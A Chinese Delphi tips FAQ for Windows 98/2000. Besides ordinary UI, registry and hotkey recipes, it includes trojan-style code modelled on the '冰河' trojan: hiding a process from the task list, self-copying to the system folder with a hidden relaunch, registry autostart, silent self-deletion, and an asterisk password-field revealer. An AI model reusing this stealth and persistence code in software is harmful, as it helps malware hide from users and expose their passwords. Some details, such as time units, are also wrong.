問(wèn):如何讓del+CTRL+ALT看不見(jiàn)程序運(yùn)行?
答:為了讓程序用ALT+DEL+CTRL看不見(jiàn),在implementation后添加聲明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
再在上面的窗口Create事件加上一句：RegisterServiceProcess(GetCurrentProcessID, 1);//隱藏
也可以使用下面的函數(shù):
function My_SelfHide: Boolean;
type
TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
var
hNdl: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
Result := False;
if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是NT
begin
hNdl := LoadLibrary('KERNEL32.DLL');
RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
FreeLibrary(hNdl);
Result := True;
end
else
Exit;
end;
問(wèn):自我拷貝法怎么樣使用?
答:這種方法的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,再退出舊程序.
打開(kāi)Delphi,新建一個(gè)工程,在窗口的Create事件中寫(xiě)代碼:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定義函數(shù),起功能是找出Windows\System\的路徑.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;
問(wèn):如何避免同時(shí)運(yùn)行多個(gè)相同程序?
答:為了避免同時(shí)運(yùn)行多個(gè)程序的副本(節(jié)約系統(tǒng)資源也),程序一般會(huì)弄成每次只能運(yùn)行一個(gè).這又有幾種方法.
一種方法是程序運(yùn)行時(shí)先查找有沒(méi)有相同的運(yùn)行了,如果有,就立刻退出程序.
修改dpr項(xiàng)目文件，修改begin和end之間的代碼如下：
begin
Application.Initialize;
if FindWindow('TForm1','Form1')=0 then begin
//當(dāng)沒(méi)有找到Form1時(shí)執(zhí)行下面代碼
Application.ShowMainForm:=False; //不顯示主窗口
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
end.
另一種方法是啟動(dòng)時(shí)會(huì)先通過(guò)窗口名來(lái)確定是否已經(jīng)在運(yùn)行，如果是則關(guān)閉原先的再啟動(dòng)�！氨印本褪怯眠@種方法的。
這樣做的好處在于方便升級(jí).它會(huì)自動(dòng)用新版本覆蓋舊版本.
方法如下:修改dpr項(xiàng)目文件
uses
Forms,windows,messages,
Unit1 in 'Unit1.pas' {Form1};
問(wèn):如何能使程序能在windows啟動(dòng)時(shí)自動(dòng)啟動(dòng)?
答:為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過(guò)六種途徑來(lái)實(shí)現(xiàn).“冰河”用注冊(cè)表的方式。
加入Registry單元,改寫(xiě)上面的窗口Create事件,改寫(xiě)后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string;
begin
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行Windows\System\下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
問(wèn):怎么才能把自己的程序刪除掉?
答:很簡(jiǎn)單,可以寫(xiě)一個(gè)BAT文件
例如:a.bat
del %0
這樣就把a(bǔ).bat刪除掉了!
放一個(gè)例子:
用過(guò)DOS的朋友應(yīng)該還記得批處理文件吧，新建一個(gè)批處理文件a.bat，編輯其內(nèi)容為:del %0,然后運(yùn)行它，怎么樣？a.bat把自己刪除掉了�。�！好，我們就用它來(lái)進(jìn)行程序的“自殺”！
找一個(gè)EXE可執(zhí)行文件，比如說(shuō)abc.exe,新建一個(gè)批處理文件a.bat，編輯其內(nèi)容為：
:pp
del abc.exe
if exist abc.exe goto pp
del %0
先運(yùn)行abc.exe，再運(yùn)行a.bat，然后將abc.exe退出，你會(huì)發(fā)現(xiàn)a.exe和a.bat都沒(méi)有了�。�！按照這個(gè)思路，我們可以在程序中根據(jù)文件名稱寫(xiě)一個(gè)批處理，將上面的abc.exe換成自己的EXE文件名就可以了。運(yùn)行Delphi，新建一個(gè)工程，添加一個(gè)Button到窗體上，點(diǎn)擊Button，寫(xiě)下如下代碼：
procedure TForm1.Button1Click(Sender: TObject);
var Selfname,BatFilename,s1,s2:string;
BatchFile: TextFile;
begin
Selfname:=Extractfilename(application.exename);//取EXE文件自己的名稱
BatFilename:=ExtractFilePath(Application.ExeName)+ 'a.bat';//批處理文件名稱
S1:='@del '+Selfname;
S2:='if exist '+Selfname+' goto pp';
assignfile(BatchFile,BatFilename);
rewrite(BatchFile);
writeln(BatchFile,':pp');
writeln(BatchFile,S1);
writeln(BatchFile,S2);
writeln(BatchFile,'@del %0');
closefile(BatchFile);
winexec(pchar(BatFilename),sw_hide);//隱藏窗口運(yùn)行a.bat
application.Terminate;//退出程序
end;
那我們的事情是不是就完了？NO！上面的程序原理是對(duì)的，但如果你的程序是運(yùn)行在系統(tǒng)目錄下如Windows目錄下或者Windows\System等目錄下，除非你打開(kāi)那個(gè)目錄看著它刪除，否則根本沒(méi)法卸掉的。那怎么辦？別急，我們請(qǐng)出一個(gè)函數(shù)CreateProcess，它的原型為：
BOOL CreateProcess(
LPCTSTR lpApplicationName, // pointer to name of executable module
LPTSTR lpCommandLine, // pointer to command line string
LPSECURITY_ATTRIBUTES lpProcessAttributes, // pointer to process security attributes
LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to thread security attributes
BOOL bInheritHandles, // handle inheritance flag
DWORD dwCreationFlags, // creation flags
LPVOID lpEnvironment, // pointer to new environment block
LPCTSTR lpCurrentDirectory, // pointer to current directory name
LPSTARTUPINFO lpStartupInfo, // pointer to STARTUPINFO
LPPROCESS_INFORMATION lpProcessInformation // pointer to PROCESS_INFORMATION
);
這個(gè)函數(shù)和OpenProcess、ReadProcessMemory、WriteProcessMemory使用可以用來(lái)讀取和修改內(nèi)存數(shù)據(jù)，常用的游戲修改器就是用它。由于這些不是本文的重點(diǎn)所以這里不作詳細(xì)介紹，感興趣的讀者可自行翻閱Delphi自帶的幫助文件。用CreateProcess函數(shù)創(chuàng)建一個(gè)進(jìn)程就可以完美的完成我們的“程序自殺”了。
運(yùn)行Delphi，新建一個(gè)工程，添加一個(gè)Button到窗體上，全部代碼如下：
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure My_DeleteMe; //自定義程序自殺過(guò)程
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
My_DeleteMe;
end;
procedure TForm1.My_DeleteMe; //程序自殺
//-----------------------------------------------------------
function GetShortName(sLongName: string): string; //轉(zhuǎn)換長(zhǎng)文件名
var
sShortName: string;
nShortNameLen: integer;
begin
SetLength(sShortName, MAX_PATH);
nShortNameLen := GetShortPathName(PChar(sLongName),
PChar(sShortName), MAX_PATH - 1);
if (0 = nShortNameLen) then
begin
// handle errors...
end;
SetLength(sShortName, nShortNameLen);
Result := sShortName;
end;
//-------------------------------------------------
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '$$a$$.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + GetShortName(ParamStr(0)) + '"');
Writeln(BatchFile, 'if exist "' + GetShortName(ParamStr(0)) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
Writeln(BatchFile, 'cls');
Writeln(BatchFile, 'exit');
CloseFile(BatchFile);
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_Hide;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
Application.Terminate;
end;
end.
補(bǔ)充：1、上面的批處理的 del %0等同于 del a.bat，用del a.bat則批處理文件必須為a.bat,用del %0則可以隨意。
2、所有程序在Pwin98+Delphi5、Win2000+Delphi5下運(yùn)行通過(guò)。
本文的標(biāo)題為《安裝與卸載之卸載篇》，下次將介紹如何用Delphi制作自己的安裝程序。記得有一位著名的黑客說(shuō)過(guò)：我從來(lái)不去找什么工具軟件，需要的話就自己寫(xiě)一個(gè)。如果我們也持這種態(tài)度，則編程水平一定會(huì)越來(lái)越高。
問(wèn):如何得到*******中的密碼?
答:這里有一個(gè)例子:
//***********************************************************8
//password_dos.dpr，陳經(jīng)韜作品
//http://lovejingtao.126.com
//lovejingtao@21cn.com
//***********************************************************8
program password_dos;
{$apptype console} //設(shè)置程序?yàn)榉菆D形界面
uses
windows,
messages;
const s:boolean=true;//置循環(huán)標(biāo)志
var
pass_edit_hwnd:hwnd;//密碼窗口句柄
p:tpoint; //鼠標(biāo)指針
begin
writeln;
writeln('**************************************************************************');
writeln;
writeln;
writeln(' 星號(hào)*密碼破解器' );
writeln(' 使用方法:將鼠標(biāo)移動(dòng)到密碼框,密碼就會(huì)自動(dòng)現(xiàn)形!' );
writeln(' 按 Ctrl+C 退出程序。 ' );
writeln(' \\\|/// ' );
writeln(' \\ - - // ' );
writeln(' ( @ @ ) ' );
writeln(' +----------------------oOOo-(_)-oOOo---------------------+ ');
writeln(' | | ');
writeln(' | 若在使用過(guò)程中發(fā)現(xiàn)任何問(wèn)題或有新的想法請(qǐng)及時(shí)與我聯(lián)系: | ');
writeln(' | 主頁(yè):http://lovejingtao.126.com | ');
writeln(' | E-MAIL: lovejingtao@21cn.com | ');
writeln(' | | ');
writeln(' | Oooo 陳經(jīng)韜 2000.07 | ');
writeln(' +---------------------- oooO---( )---------------------+ ');
writeln(' ( ) ) / ' );
writeln(' \ ( (_/ ' );
writeln(' \_) ' );
writeln;
writeln('**************************************************************************');
writeln;
while s<>false do begin
getcursorpos(p); //查鼠標(biāo)坐標(biāo)
pass_edit_hwnd:= WindowFromPoint(p); //返回句柄
SendMessage(pass_edit_hwnd,EM_SETPASSWORDCHAR,0,0);//發(fā)送消息
SendMessage(pass_edit_hwnd,WM_PAINT,0,0); //
SendMessage(pass_edit_hwnd,WM_KILLFOCUS,0,0); // 刷新窗口
SendMessage(pass_edit_hwnd,WM_SETFOCUS,0,0); //
sleep(1000); //延時(shí)1000毫秒
end;
end.
問(wèn):如何對(duì)注冊(cè)進(jìn)行操作?
答:首先：uses registry;
var
r:TRegistry
r:=Tregistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE、HKEY_CURRENT_USER 之類
r.OpenKey('Software\microsoft'之類, true);
然后就可以 r.ReadString 、 r.ReadInteger、r.WriteString 、 r.WriteInteger 之類
r.Free;
問(wèn):怎么使用ini文件進(jìn)行一些設(shè)置的保存?
答:其實(shí)很簡(jiǎn)單,在uses中加入INIFiles然后可以在form的onCreate和onClose兩個(gè)事件中寫(xiě)東西,onCreate是讀出以前寫(xiě)的內(nèi)容,onClose是寫(xiě)入更改過(guò)的內(nèi)容,下面是一個(gè)例子:
放一個(gè)CheckBox和Edit
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,INIFiles;//INIFiles不要忘了加
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
With TINIFile.Create('a.ini') do//創(chuàng)建a.ini
begin
WriteBool('MySetting', 'CheckBox1_Checked', CheckBox1.Checked);{保存到MySetting下面的CheckBox1_Checked子鍵下,然后把Checkbox1的是否按下?tīng)顟B(tài)寫(xiě)進(jìn)去}
WriteString('MySetting', 'Edit1_Text', Edit1.Text);//同上
end;
end;
procedure TForm1.FormCreate(Sender: TObject);//讀入a.ini文件中的設(shè)置
begin
With TINIFile.Create('a.ini') do//打開(kāi)已創(chuàng)建的a.ini
begin
CheckBox1.Checked := ReadBool('MySetting', 'CheckBox1_Checked', False);{同上面的寫(xiě)入一樣,這里是讀取ReadBool和WriteBool是兩個(gè)BOOL值的寫(xiě)入方法.}
Edit1.Text := ReadString('MySetting', 'Edit1_Text', '');//同上
end;
end;
問(wèn):如何能使一個(gè)正在運(yùn)行的程序自動(dòng)最大化?
答:這是一個(gè)例子:
var
hwndwindow:hwnd;
begin
hwndwindow:=findwindow(nil,'DELPHI技巧');//DELPHI技藝改成你要最大化的窗口標(biāo)提.
if hwndwindow<>0 then//不等于0則是找到了這個(gè)窗體
postmessage(hwndwindow,WM_SYSCOMMAND,SC_MAXIMIZE,0);//用postmessage發(fā)送一條最大化消息(SC_MAXIMIZE)到這個(gè)窗體的句柄
//******************************************************
//另外postmessage(hwndwindow,wm_close,0,0);為關(guān)閉
//如果需要要自己的程序中使程序動(dòng)態(tài)變最大化則用
form1.windowstate:=wsmaximized; //form1為你要最大化的窗口名！
//幾個(gè)要用到的名詞:
1.hwnd是句柄的意思,只有先得到了窗體的句柄才能控制它
2.findwindow是找窗體的意思
3.nil是空指針的意思
4.postmessage發(fā)送一條消息給一個(gè)已找到的窗口句柄.
問(wèn):如何使程序在執(zhí)行過(guò)程中暫停一段時(shí)間?
答:要使在運(yùn)行中的程序暫停一段時(shí)間可以使用sleep這個(gè)關(guān)鍵詞,下面是一個(gè)例子
procedure TForm1.Button1Click(Sender: TObject);
var
h,m,s,ms:word;
begin
Edit1.text:=DateTimeToStr(now);
sleep(2000);//2000就表示2個(gè)微秒
edit2.text:=DateTimeToStr(now);
DecodeTime(strtodatetime(edit2.text)-strtodatetime(edit1.text),h,m,s,ms);
showmessage(format('小時(shí)：%d',[h])+format('分鐘：%d',[m])+format('秒：%d',[s])+format('微秒：%d',[ms]));
end;
//另外,這也是一個(gè)很好的時(shí)間相減例子
報(bào)告時(shí)間的例子:
//先定義:
var
Present: TDateTime;//定義成日期和時(shí)間
begin
Year, Month, Day, Hour, Min, Sec, MSec: Word;//定義年月日小時(shí)分種秒微秒
DecodeTime(Present, Hour, Min, Sec, MSec);//提出小時(shí)分種秒微秒,以TDataTime方式
DecodeDate(Present, Year, Month, Day);//提出年月日,以TDataTime方式
Label1.Caption := 'Today is Day ' + IntToStr(Day) + ' of Month '
+ IntToStr(Month) + ' of Year ' + IntToStr(Year);//顯示
Label2.Caption := 'The time is Minute ' + IntToStr(Min) + ' of Hour '
+ IntToStr(Hour);//顯示
end;
問(wèn):如何在窗口上加入一個(gè)flash動(dòng)畫(huà)?
答:先把flash動(dòng)畫(huà)放到一個(gè)htm文件上,然后再把htm文件調(diào)用到窗口上例子如下:
procedure TForm1.FormCreate(Sender: TObject);
var
URL: OleVariant;
begin
URL := ExtractFilePath(Application.EXEName) + 'fla.htm';
Webbrowser1.Navigate2(URL);
end;
//要添加一下webbrowser控件
問(wèn):怎樣才能在程序中實(shí)現(xiàn)跳轉(zhuǎn)到網(wǎng)頁(yè)?
答:例子如下:
procedure TForm1.ToolButton5Click(Sender: TObject);
begin
shellexecute(handle,nil,pchar('http://go.163.com/delphimyself'),nil,nil,sw_shownormal);
end;
問(wèn):怎樣獲得本程序的所在目錄?
答:例子如下:
procedure TForm1.FormCreate(Sender: TObject);
begin
edit1.text:=ExtractFilePath(Application.EXEName);
end;
//ExtractFilePath(application.exename);是得到文件路徑,application.exenane
//ExtractFilename(Application.Exename);是得到文件名,EXtractFilename
問(wèn):如何關(guān)閉windows?
答:這個(gè)可以關(guān)閉windows9X系統(tǒng)
exitwindowsex(ewx_shutdown,0);
問(wèn):如何獲得windows的安裝目錄?
答:這里有一個(gè)例子:
procedure TForm1.Button1Click(Sender: TObject);
var dir:array [0..255] of char;
begin
GetWindowsDirectory(dir,255);
edit1.Text:=strpas(dir);
end;
//先定義一個(gè)dir數(shù)組是char類型的
//然后getwindowsdirectory(dir,255);
//用strpas函數(shù)來(lái)顯示出來(lái)
//還有一個(gè)例子也可以做到如下:
procedure TForm1.Button1Click(Sender: TObject);
var
winpath:pchar;
begin
getmem(winpath,255);
GetWindowsDirectory(winpath,255);
edit1.text:=winpath;
end;
***********************
判斷是否item被選中：
for i:=0 to ListBox.Items.Count-1 do
if ListBox.Selected[i] then
begin
showmessage('有item被選中');
break;
end
讓第一項(xiàng)被選中： ListBox.ItemIndex:=0;
******************************
獲取硬盤序列號(hào)
procedure TForm1.FormCreate(Sender: TObject);
var
dw,dwTemp1,dwTemp2:DWord;
p1,p2:array[0..30] of char;
begin
GetVolumeInformation(PChar('c:\'),p1,20,@dw,dwTemp1,dwTemp2,p2,20);
edit1.text:=inttohex(dw,8);//系列號(hào)
end;
***************************
在程序中拖動(dòng)控件
在控件的mousedown中寫(xiě)入：
ReleaseCapture;
SendMessage(Panel1.Handle, WM_SYSCOMMAND, $F012, 0);
另外改變$F012的值會(huì)有很多別的功能
$F001:改變控件的left大小
$F002:改變控件的right大小
$F003:改變控件的top大小
$F004:改變控件的button大小
$F007:控件左邊放大縮小
$F008:控件右邊放大縮小
$F009:動(dòng)態(tài)移動(dòng)控件
************************
win98下隱藏進(jìn)程方法
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
function RegisterServiceProcess(dwProcessID,dwType: Integer): Integer; stdcall; external
'KERNEL32.DLL';
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
RegisterServiceProcess(GetCurrentProcessID,1);
end;
end.
另外在dpr里面的Application.CreateForm(TForm1, Form1);后面加上
Application.ShowMainForm := False;
**************************************
對(duì)某一個(gè)窗口發(fā)送鼠標(biāo)消息
SendMessage(Handle,WM_LBUTTONDBLCLK,0,0);
對(duì)系統(tǒng)發(fā)消息關(guān)閉程序
SendMessage(Handle, WM_CLOSE, 0, 0);
啟動(dòng)開(kāi)始菜單
Sendmessage(Application.Handle,WM_SYSCOMMAND,SC_TASKLIST,0);
*****************************
日期時(shí)間類操作
showmessage(FormatDateTime('yyyy',now));//年
showmessage(FormatDateTime('mm',now)); //月
showmessage(FormatDateTime('dd',now)); //日
showmessage(FormatDateTime('hh',now)); //時(shí)
showmessage(FormatDateTime('nn',now)); //分
showmessage(FormatDateTime('nn',now)); //秒
showmessage(FormatDateTime('zzz',now)); //毫秒
*****************************
執(zhí)行dos命令
winexec(pchar('net start w3svc '),sw_hide);
就是執(zhí)行net start w3svc
****************************
Mediaplayer控件按紐控制
procedure TForm1.FormCreate(Sender: TObject);
begin
MediaPlayer1.Open;
MediaPlayer1.Play;
MediaPlayer1.EnabledButtons:=[btPause, btStop, btNext, btPrev, btStep, btBack];
end;
procedure TForm1.MediaPlayer1Click(Sender: TObject; Button: TMPBtnType;
var DoDefault: Boolean);
begin
case Button of
btPlay :
begin
MediaPlayer1.Play;
MediaPlayer1.EnabledButtons:=[btPause, btStop, btNext, btPrev, btStep, btBack];
end;
btPause :
begin
if MediaPlayer1.Mode=mpPaused then
begin
MediaPlayer1.Play;
MediaPlayer1.EnabledButtons:=[btPause, btStop, btNext, btPrev, btStep, btBack];
end
else if MediaPlayer1.Mode=mpPlaying then
begin
MediaPlayer1.Pause;
MediaPlayer1.EnabledButtons:=[btPlay, btPause, btStop, btNext, btPrev, btStep, btBack];
end;
end;
btStop :
begin
MediaPlayer1.Stop;
MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];
end;
btNext :
begin
MediaPlayer1.Next;
MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];
end;
btPrev :
begin
MediaPlayer1.Previous;
MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];
end;
btStep :
begin
MediaPlayer1.Step;
MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];
end;
btBack :
begin
MediaPlayer1.Back;
MediaPlayer1.EnabledButtons:=[btPlay, btNext, btPrev, btStep, btBack];
end;
end;
end;
****************************
動(dòng)態(tài)生成批處理文件
var
HndFile:Thandle;
begin
HndFile:= filecreate('delJpg.bat');
filewrite(HndFile,'del *.txt'+#13#10,length('del *.txt'+#13#10));
filewrite(HndFile,'del delJpg.bat',length('del delJpg.bat'));
fileclose(HndFile);
WinExec(pchar('.\delJpg.bat'),SW_hide);
end
上面程序生成的批處理文件名為deljpg.bat
其內(nèi)容是
del *.txt
del deljpg.bat
再加一個(gè)
procedure TForm1.Button1Click(Sender: TObject);
var
F: TextFile;
iFileHandle :integer;
begin
iFileHandle := FileCreate('f:\delJpg.bat');
FileClose(iFileHandle);
AssignFile(F, 'f:\delJpg.bat');
Append(F);
Writeln(F, 'del f:\' + edit1.Text + '*.txt');
Writeln(F, 'del f:\delJpg.bat');
CloseFile(F);
WinExec(pchar('f:\delJpg.bat'),SW_hide);
end;
******************************
打開(kāi)新窗口，使上一級(jí)窗口處于灰狀
form2.ShowModal
*****************************
procedure TForm1.FormCreate(Sender: TObject);
begin
edit2.text:=ExtractFilePath(ParamStr(0)); //獲取程序運(yùn)行的目錄路徑
edit1.Text:=(Application.ExeName);//獲取程序運(yùn)行的全路徑
end;
**************************************
如果熱鍵是要求在本程序中使用的
可以用stuwe的方法：
加三個(gè)Action
如Action1,設(shè)置其Action1.ShortCut為F1
在其
procedure TForm1.Action1Execute(Sender: TObject);
begin
shellexecute(....);
end;
其余兩個(gè)一樣
如果是想要在整個(gè)windows環(huán)境下面的熱鍵
可以參看下面：
RegisterHotKey函數(shù)原型及說(shuō)明：
BOOL RegisterHotKey(
HWND hWnd, // window to receive hot-key notification
int id, // identifier of hot key
UINT fsModifiers, // key-modifier flags
UINT vk // virtual-key code);
參數(shù) id為你自己定義的一個(gè)ID值，對(duì)一個(gè)線程來(lái)講其值必需在0x0000 - 0xBFFF范圍之內(nèi)，對(duì)DLL來(lái)講其值必需在0xC000 - 0xFFFF 范圍之內(nèi)，在同一進(jìn)程內(nèi)該值必須唯一
參數(shù) fsModifiers指明與熱鍵聯(lián)合使用按鍵，可取值為：MOD_ALT MOD_CONTROL MOD_WIN MOD_SHIFT
參數(shù) vk指明熱鍵的虛擬鍵碼
首先（舉個(gè)例子）：
RegisterHotKey(handle,globaladdatom('hot key'),MOD_ALT,vk_f12);
然后在form中聲明一個(gè)函數(shù)（過(guò)程）：
procedure hotkey(var msg:tmessage);message wm_hotkey;
過(guò)程如下：
procedure TForm1.hotkey(var msg:tmessage);
begin
if (msg.LParamHi=VK_F12) and (msg.LParamLo=MOD_ALT) then
begin
form1.show;
SetForegroundWindow(handle);
end;
end;
這樣，不管你在什么地方，窗口就會(huì)顯示出來(lái)。
當(dāng)然，你要GlobalDeleteAtom;
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
aatom:atom;
procedure hotkey(var msg:tmessage);message wm_hotkey;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
aatom:=globaladdatom('hot key');
RegisterHotKey(handle,aatom,MOD_ALT,vk_f12);
end;
procedure TForm1.hotkey(var msg:tmessage);
begin
if (msg.LParamHi=VK_F12) and (msg.LParamLo=MOD_ALT) then
SetForegroundWindow(handle);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
globalDeleteatom(aatom);
end;
end.
完整源代碼 http://www.aidelphi.com/6to23/docu/hotkey.zip
以下是 例子
procedure TForm1.FormCreate(Sender: TObject);
Var TmpID:Integer;
begin
TmpID:=GlobalFindAtom('MyHotkey');
if TmpID=0 then //查找全局原子.如果返回值不為0,則說(shuō)明這個(gè)全局原子已經(jīng)被注冊(cè);
id:=GlobalAddAtom('MyHotkey')
else
ID:=TmpID;
TmpID:=GlobalFindAtom('MyHotkey1');
if TmpID=0 then
id1:=GlobalAddAtom('MyHotkey1')
else
id1:=TmpID;
TmpID:=GlobalFindAtom('MyHotkey2');
if TmpID=0 then
id2:=GlobalAddAtom('MyHotkey2')
else
id2:=TmpID;
RegisterHotKey(Handle, id, MOD_CONTROL, VK_F1); //注冊(cè)熱鍵:Ctrl+F1
RegisterHotKey(Handle, id1, MOD_CONTROL, VK_F2);//注冊(cè)熱鍵:Ctrl+F2
RegisterHotKey(Handle, id2, MOD_CONTROL, VK_F3);//注冊(cè)熱鍵:Ctrl+F3
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnregisterHotKey(Handle,ID);//釋放熱鍵Ctrl+F1
UnregisterHotKey(Handle,ID1);//釋放熱鍵Ctrl+F2
UnregisterHotKey(Handle,ID2);//釋放熱鍵Ctrl+F3
GlobalDeleteAtom(ID); //刪除全局原子ID
GlobalDeleteAtom(ID1);//刪除全局原子ID1
GlobalDeleteAtom(ID2);//刪除全局原子ID2
end;
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
if msg.HotKey=ID then //熱鍵Ctrl+F1的消息.
ShowMessage('Ctrl+F1!')
else if Msg.HotKey=ID1 then //熱鍵Ctrl+F2的消息.
ShowMessage('Ctrl+F2!')
else if Msg.HotKey=ID2 then //熱鍵Ctrl+F3的消息.
ShowMessage('Ctrl+F3!');
end;
**********************************
判斷程序是否運(yùn)行
if FindWindow(主程序窗體類,主程序窗體標(biāo)題) = 0 then //找到這個(gè)程序
begin
ShowMessage('主程序沒(méi)有運(yùn)行') ;
Application.Terminate ;
end;
*******************************
得到鼠標(biāo)位置上的類
procedure TForm1.Timer1Timer(Sender: TObject);
var
ClassName: PChar;
atCursor: TPoint;
hWndMouseOver: HWND;//鼠標(biāo)的句柄
Text: PChar;
begin
GetCursorPos(atCursor);//得到鼠標(biāo)坐標(biāo)
hWndMouseOver:=WindowFromPoint(atCursor);//得到鼠標(biāo)句柄和位置
GetMem(ClassName, 100);
GetMem(Text, 255);
try
GetClassName(hWndMouseOver, ClassName, 100);
SendMessage(hWndMouseOver, WM_GETTEXT, 255, LongInt(Text));
Label_ClassName.Caption:='類名(Classname)： '+String(ClassName);
Edit1.Text:=String(Text);
finally
FreeMem(ClassName);
FreeMem(Text);
end;
end;
*****************************
實(shí)現(xiàn)斷點(diǎn)續(xù)傳
如果使用ICS控件，那么
HttpCli.ContentRangeBegin := '100' 表示從100開(kāi)始
HttpCli.ContentRangeEnd :='' 表示一直到結(jié)束
HttpCli.ContentRangeEnd :='200' 表示到200字節(jié)處結(jié)束
如果使用 TNMHTTP 控件
在OnAboutToSend事件，寫(xiě)：
NMHTTP1.SendHeader.values['Range'] := 'bytes=100-' 表示從100字節(jié)處開(kāi)始下載到最后
NMHTTP1.SendHeader.values['Range'] := 'bytes=100-200' 表示從100字節(jié)處開(kāi)始下載到200字節(jié)處結(jié)束
***************
procedure TForm1.Button6Click(Sender: TObject);
var
f:TSearchRec;
begin
FindFirst('a.doc',faAnyFile,f);
fPreSize:=f.Size;
NMFtp.DoCommand('Rest '+IntToStr(fPreSize));
NMFtp.DownloadRestore('a.doc','a.doc');
end;
這是用TNMFtp來(lái)續(xù)傳的代碼。
**********************************
Delphi中用Sender參數(shù)實(shí)現(xiàn)代碼重用
面向?qū)ο蟮木幊坦ぞ叩奶攸c(diǎn)之一就是要提高代碼重用性(Reuse)，作為新一代可視化開(kāi)發(fā)工具，Delphi中的代碼重用性相當(dāng)高。我們知道，在Delphi中，大部分程序代碼都直接或間接地對(duì)應(yīng)著一個(gè)事件，此程序稱為事件處理句柄，它實(shí)際上就是一個(gè)過(guò)程。從應(yīng)用程序的工程到表單、構(gòu)件和程序，Delphi強(qiáng)調(diào)的是其開(kāi)發(fā)過(guò)程中每一層次的重用性，可以通過(guò)編寫(xiě)某些構(gòu)件常用的事件處理句柄來(lái)達(dá)到程序重用目的。你可以在屬性窗口的Events頁(yè)上將A事件的處理句柄指向B事件的處理句柄，這樣A事件和B事件就共享了一個(gè)過(guò)程段，從而達(dá)到了重用的目的。如果共享的程序段與發(fā)生該事件的控件無(wú)關(guān)，如ShowMessage(′hello,world′)，那這種共享是最簡(jiǎn)單的。但一般來(lái)說(shuō)，代碼段間的共享都跟發(fā)生該事件的控件有關(guān)，需要根據(jù)控件類型做出相應(yīng)的處理，這時(shí)就要用到Sender參數(shù)。
